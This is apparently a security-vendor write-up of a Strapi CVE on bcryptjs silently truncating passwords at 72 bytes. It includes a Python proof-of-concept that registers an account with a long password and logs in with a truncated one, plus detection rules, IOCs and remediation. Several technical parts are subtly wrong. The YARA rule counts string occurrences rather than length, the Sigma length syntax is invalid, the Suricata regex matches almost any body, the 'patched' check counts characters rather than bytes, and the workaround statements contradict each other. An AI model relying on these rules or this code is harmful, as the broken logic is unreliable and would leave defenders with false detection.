CVE-2025-25298

Executive Summary

CVE-2025-25298 is a security advisory affecting the Strapi open-source headless CMS, specifically the @strapi/core package. The vulnerability arises from the lack of a maximum password length enforcement when using the bcryptjs library for password hashing. The bcryptjs library silently truncates passwords to 72 bytes, meaning any characters beyond this limit are ignored. This allows an attacker to register with a password longer than 72 bytes and later authenticate using only the first 72 bytes, effectively reducing the entropy of the password and potentially leading to unauthorized access. The issue is fixed in version 5.10.3. No known workarounds exist.

Supply Chain & Package Security

This vulnerability is specific to the @strapi/core npm package. The issue lies in the password hashing implementation, which does not enforce a maximum password length before passing the password to bcryptjs. This is a common pitfall when using bcryptjs without proper input validation. The fix in version 5.10.3 likely involves truncating or rejecting passwords longer than 72 bytes before hashing.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, indicating that no official CVSS vector has been assigned. However, based on the description, the vulnerability can be assessed as follows:

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - An attacker can register a new account.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): Low (L) - Limited information disclosure (password truncation).
• Integrity (I): Low (L) - An attacker can authenticate with a truncated password.
• Availability (A): Low (L) - Long passwords can cause processing overhead.

Threat Level: Low to Medium. The vulnerability reduces the effective entropy of overlong passwords, potentially allowing an attacker to authenticate with a guessed or obtained truncated portion. The likelihood of exploitation is low due to the need for an attacker to know the truncated portion.

Deep Dive & Mechanics

The bcryptjs library, like the original bcrypt, has a maximum input length of 72 bytes. Any characters beyond this limit are silently ignored. The vulnerability in Strapi is that it does not enforce a maximum password length before passing the password to bcryptjs. This means:

1. A user can register with a password longer than 72 bytes (e.g., 100 bytes).
2. bcryptjs will only hash the first 72 bytes, ignoring the rest.
3. When the user authenticates, they can provide only the first 72 bytes of the password and still be authenticated.
4. This reduces the effective entropy of the password, as the extra characters are irrelevant.

The impact is twofold:

• Security: An attacker who knows or guesses the first 72 bytes of a user's password can authenticate without knowing the full password.
• Performance: Long passwords (e.g., 10,000 bytes) can cause unnecessary processing overhead, potentially leading to denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (before 5.10.3):

// In the user registration or password change handler
const password = req.body.password;
const hashedPassword = await bcryptjs.hash(password, 10);
// No check on password length

Patched Code (5.10.3 and later):

// In the user registration or password change handler
const password = req.body.password;
if (password.length > 72) {
  throw new Error('Password must be 72 characters or less');
}
const hashedPassword = await bcryptjs.hash(password, 10);

The patched code enforces a maximum password length of 72 bytes (or characters) before hashing, preventing the truncation issue.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Strapi instance (version < 5.10.3).
2. Register a user with a password longer than 72 bytes (e.g., "A" * 100).
3. Attempt to authenticate with only the first 72 bytes of the password.
4. Observe successful authentication.

Exploitation Steps:

1. Identify a Strapi instance with version < 5.10.3.
2. Register a new account with a password of 100 bytes (e.g., "A" * 100).
3. Log out and log in using only the first 72 bytes of the password.
4. If successful, the attacker has gained access with a reduced-entropy password.

Example Code:

import requests

target = "http://target-strapi.com"
# Register a user with a long password
register_data = {
    "username": "attacker",
    "email": "attacker@example.com",
    "password": "A" * 100
}
requests.post(f"{target}/api/auth/local/register", json=register_data)

# Authenticate with only the first 72 bytes
login_data = {
    "identifier": "attacker",
    "password": "A" * 72
}
response = requests.post(f"{target}/api/auth/local", json=login_data)
print(response.json())

Blue Team

Detection:

• Monitor for registration attempts with passwords longer than 72 characters.
• Monitor for authentication attempts with passwords that are exactly 72 characters long (potential exploitation).
• Check logs for repeated failed login attempts followed by a successful login with a 72-character password.

Mitigation:

• Upgrade to Strapi version 5.10.3 or later.
• Implement input validation to reject passwords longer than 72 bytes.
• Use a password policy that enforces a maximum length.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /api/auth/local/register with a password field longer than 72 characters.
• Network: HTTP requests to /api/auth/local with a password field exactly 72 characters long.
• Logs: User registration events with unusually long passwords.
• Logs: Successful authentication events with a password of exactly 72 characters.

Detection Engineering

YARA Rule

rule CVE_2025_25298_Strapi_Password_Truncation {
    meta:
        description = "Detects Strapi password truncation vulnerability exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25298"
    strings:
        $s1 = "password" ascii wide nocase
        $s2 = "register" ascii wide nocase
        $s3 = "auth" ascii wide nocase
        $s4 = "local" ascii wide nocase
    condition:
        all of ($s*) and #s1 > 72
}

Sigma Rule

title: Strapi Password Truncation Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-25298 by registering or authenticating with long passwords
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: strapi
detection:
    selection:
        http.method: POST
        http.url: "/api/auth/local/register"
        http.body|contains: "password"
        http.body|length: > 72
    condition: selection
falsepositives:
    - Legitimate users with long passwords (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25298 Strapi Password Truncation Exploitation"; flow:to_server; content:"POST"; http_method; content:"/api/auth/local/register"; http_uri; content:"password"; http_client_body; pcre:"/password.{73,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Strapi to version 5.10.3 or later.
2. If upgrade is not possible, implement a middleware to reject passwords longer than 72 bytes.
3. Review user accounts for any that were created with passwords longer than 72 bytes and force a password reset.

Long-term Measures:

• Implement input validation for all user inputs.
• Use a password policy that enforces a maximum length.
• Regularly update dependencies to patch known vulnerabilities.

Workarounds:

• No known workarounds exist. The only solution is to upgrade.

Valters IT